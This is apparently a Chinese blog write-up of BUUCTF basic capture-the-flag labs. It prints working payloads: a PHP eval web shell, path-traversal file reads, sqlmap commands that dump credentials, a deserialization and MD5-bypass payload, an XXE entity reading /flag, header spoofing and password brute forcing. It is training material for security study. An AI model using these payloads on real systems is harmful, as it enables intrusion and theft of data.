【网络安全CTF】BUUCTF(Basic篇)

news/2024/11/30 3:26:29/

Linux Labs

解题思路:已给用户名密码,直接用ssh工具连接即可获取flag
在这里插入图片描述在这里插入图片描述
查找flag在跟下
在这里插入图片描述
提交完成。

BUU LFI COURSE 1

在这里插入图片描述
访问链接:为php代码审计题,看题目要求构造GET请求读取文件
http://9a7d4988-99f9-4c29-88d8-600e19887723.node4.buuoj.cn:81/?file=/…/…/flag
在这里插入图片描述
在这里插入图片描述

Upload-Labs-Linux 靶场

在这里插入图片描述
访问链接:为uploab-labs靶场,这个共有20关过一关可获取flag。
在这里插入图片描述
选择第一关:查看代码发现为前端js限制文件类型,这种直接使用抓包进行绕过
在这里插入图片描述
准备shell木马文件:

<?php @eval($_POST['caidao']);?>

修改扩展名为.jpg 或.png或.gif
文件上传抓包:
在这里插入图片描述
修改扩展名为php
在这里插入图片描述
文件存放位置:
在这里插入图片描述
在这里插入图片描述
使用蚁剑链接
在这里插入图片描述
在这里插入图片描述
成功获取flag,其他关卡不在说明,通关思路都为上传绕过。

BUU BRUTE 1

在这里插入图片描述
一个登陆框:
在这里插入图片描述
随便输入账号密码:
在这里插入图片描述
提示用户名错误:
在这里插入图片描述
试试常用用户名admin、root、administrator等
发现使用admin作为用户名,提示密码为四位数字。
在这里插入图片描述
使用暴力破解:
使用字典生成器生成4位数密码:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
密码破译为:6490

在这里插入图片描述
在这里插入图片描述

BUU SQL COURSE 1

在这里插入图片描述
明显的sql注入
在这里插入图片描述
使用sqlmap直接爆数据库
在这里插入图片描述加参数 -dbs
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -dbs
在这里插入图片描述
其中news和test比较显眼,查news数据库
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news --tables
在这里插入图片描述
查看admin表内字段

sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news -T admin --columns
在这里插入图片描述
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news -T admin -C id,password,username --dump
在这里插入图片描述
admin 加密码登陆注意这里不是md5加密,开始看错了,解半天没解出发现是明文存储的,无语。
在这里插入图片描述

BUU CODE REVIEW 1

在这里插入图片描述
代码审计:

在这里插入图片描述
代码片段:

<?php
/*** Created by PhpStorm.* User: jinzhao* Date: 2019/10/6* Time: 8:04 PM*/highlight_file(__FILE__);  //高亮显示代码class BUU {public $correct = ""; //定义全局变量public $input = "";//定义全局变量public function __destruct() {try {$this->correct = base64_encode(uniqid());  //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID,base64_encode为转换为bash64编码if($this->correct === $this->input) {  /判断两个属性是否全等echo file_get_contents("/flag");  //若全等,则打印根目录下的flag}} catch (Exception $e) {}}
}if($_GET['pleaseget'] === '1') { //判断pleaseget==='1'&&pleasepost==='2'&&md1!=md52&&md5(md51)==md5(md52)if($_POST['pleasepost'] === '2') {if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {unserialize($_POST['obj']);}}
}

第二段代码get参数简单为

http://IP/?pleaseget=1

第一段代码使用空数组绕过,给POST参数

pleasepost=2&md51=QNKCDZO&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

此题详解可以看:https://blog.csdn.net/weixin_43965597/article/details/126381171
在这里插入图片描述

sqli-labs

参考之前写的:https://blog.csdn.net/qq_39583774/article/details/120722112?spm=1001.2014.3001.5501

BUU UPLOAD COURSE 1

在这里插入图片描述
上传实验
这里我传的docx的文件,可以看到变成了jpg的格式
在这里插入图片描述
并看不到文件内容
在这里插入图片描述
使用抓包工具修改包:
在这里插入图片描述
尝试连接:

在这里插入图片描述

测试连接失败:
在这里插入图片描述
使用其他方式,发现这里不对,上传一个phpinfo发现能够执行,但是执行的jpg格式。
在这里插入图片描述

既然能够执行php那我们直接写一个php打印flag即可。

<?php
$output = shell_exec('cat /flag');
echo "<pre>$output</pre>";
?>

上传直接访问即可拿到flag
在这里插入图片描述

BUU BURP COURSE 1

在这里插入图片描述

在这里插入图片描述
打开后直接显示只能本地访问,本地ip的由X-Forwarded-For和X-Real-IP进行构建
这里是使用的X-Real-IP构建的
在这里插入图片描述

在这里插入图片描述

BUU XXE COURSE 1

XXE漏洞是外部实体注入攻击
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
用burp抓包,这里是个xml的提交
在这里插入图片描述

我们在这定义了一个实体 xxe,它将指向/flag 文件,然后我们在 XML 数据中使用 &xxe; 引用这个实体,这样攻击者就可以将该文件中的内容读取到 HTTP 响应中。

<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///flag">
]>
<root><username>&xxe;</username><password>test</password>
</root>

在这里插入图片描述


http://www.ppmy.cn/news/64372.html

相关文章

如何提升应届生职场竞争力

引言 对于应届毕业生来说&#xff0c;进入职场是既令人兴奋又具有挑战性的。面对竞争激烈的就业市场&#xff0c;提高自身的职场竞争力对于应届生来说尤为重要。本文旨在为应届生提供有价值的见解和实用的策略&#xff0c;帮助他们提升职场竞争力&#xff0c;增加在就业市场中的…

【观察】华为重构分销伙伴体系,坚持“长期主义”做大分销市场

毫无疑问&#xff0c;随着数字化转型的加速&#xff0c;当前不同类型、不同规模的企业&#xff0c;在面临数字化转型时呈现出了不同的困境和特征&#xff0c;同时对合作伙伴也提出了更高的要求&#xff0c;因此唯有通过“精耕细作”的方式才能更好地加速企业数字化转型的步伐。…

python web开发(二):HTML标签语言

文章目录 简介标签语法标题div和span超链接插入图片列表表格Input系列提交表单 参考 简介 如下展示了一段简单的HTML模板&#xff0c; <head></head>标签中主要包含一些基本配置&#xff0c;如编码方式&#xff0c;标题等&#xff0c;注意标题的作用如下图所示 …

MySQL笔记(一):设计范式、基础概念、数据库定义语言DDL

MySQL设计范式、基础概念、数据库定义语言DDL MySQL设计范式、基础概念、数据库定义语言DDL MySQL设计范式、基础概念、数据库定义语言DDL数据模型属性的特点 数据库的创建主键 数据库设计规范第一范式&#xff08;1NF&#xff09;第二范式&#xff08;2NF&#xff09;第三范式…

k8s二次开发实战

kubernetes二次开发实战(进阶一&#xff09; kubeadm源码解读与实战 一、Go语言核心开发入门进阶 1、Go语言核心开发之Go module依赖管理系统 2、Go语言核心开发之Gomodule之用第三方库 3、Go语言核心开发之Cobra库探索认识Cobra库 4、Go语言核心开发之Cobra库探索安装Cobra库…

Hadoop-----WorldCount代码编写、温度案例

WorldCount代码编写 WordCountMapper package day34.com.doit.demo02;import org.apache.hadoop.io.IntWritable; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Mapper;import java.io.IOException;pub…

IT图书翻译——痛并快乐着

作者:韩磊 整理者&#xff1a;韦小琪 作者简介 韩磊是AR 技术公司亮风台的产研副总裁。在此之前&#xff0c;他曾在大学、技术媒体和财经媒体工作&#xff0c;有多年的企业经营管理、社区与媒体运营经验。他与人合著有《网络媒体教程》&#xff0c;合译有《Beginning C# Objec…

带分数+质数(JAVA解法)

带分数&#xff1a;用户登录 题目描述 100 可以表示为带分数的形式&#xff1a;100 3 69258 / 714 还可以表示为&#xff1a;100 82 3546 / 197 注意特征&#xff1a;带分数中&#xff0c;数字 1~9 分别出现且只出现一次&#xff08;不包含 0 &#xff09;。 类似这样…